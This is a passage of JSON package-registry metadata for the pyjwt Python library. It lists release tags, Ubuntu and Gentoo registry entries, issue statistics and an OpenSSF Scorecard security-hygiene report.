","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.257Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/pyjwt?arch=source\u0026distro=ubuntu-20.04\u0026repository_url=https://launchpad.net/ubuntu/focal","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"ubuntu-20.04","url":"https://launchpad.net/ubuntu/focal","ecosystem":"ubuntu","default":false,"packages_count":30789,"maintainers_count":0,"namespaces_count":4,"keywords_count":1430,"github":"ubuntu","metadata":{"codename":"focal","funded_packages_count":165},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:47.233Z","updated_at":"2026-06-10T05:17:46.717Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-20.04/namespaces"}},{"id":14512816,"name":"dev-python/pyjwt","ecosystem":"gentoo","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt/","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["~amd64","~arm","~arm64","~loong","~ppc","~ppc64","~riscv","~sparc","~x86"],"namespace":"dev-python","versions_count":2,"first_release_published_at":"2026-05-11T16:39:47.000Z","latest_release_published_at":"2026-05-23T06:08:39.000Z","latest_release_number":"2.13.0","last_synced_at":"2026-05-27T02:32:29.612Z","created_at":"2026-05-27T02:32:29.245Z","updated_at":"2026-05-29T04:00:36.280Z","registry_url":"https://packages.gentoo.org/packages/dev-python/pyjwt","install_command":"emerge dev-python/pyjwt","documentation_url":"https://packages.gentoo.org/packages/dev-python/pyjwt","metadata":{"category":"dev-python","slot":"0","eapi":"8","inherit":"distutils-r1 optfeature pypi","iuse":"test python_targets_python3_11 python_targets_python3_12 python_targets_python3_13 python_targets_python3_14 python_targets_python3_15 verify-provenance"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while 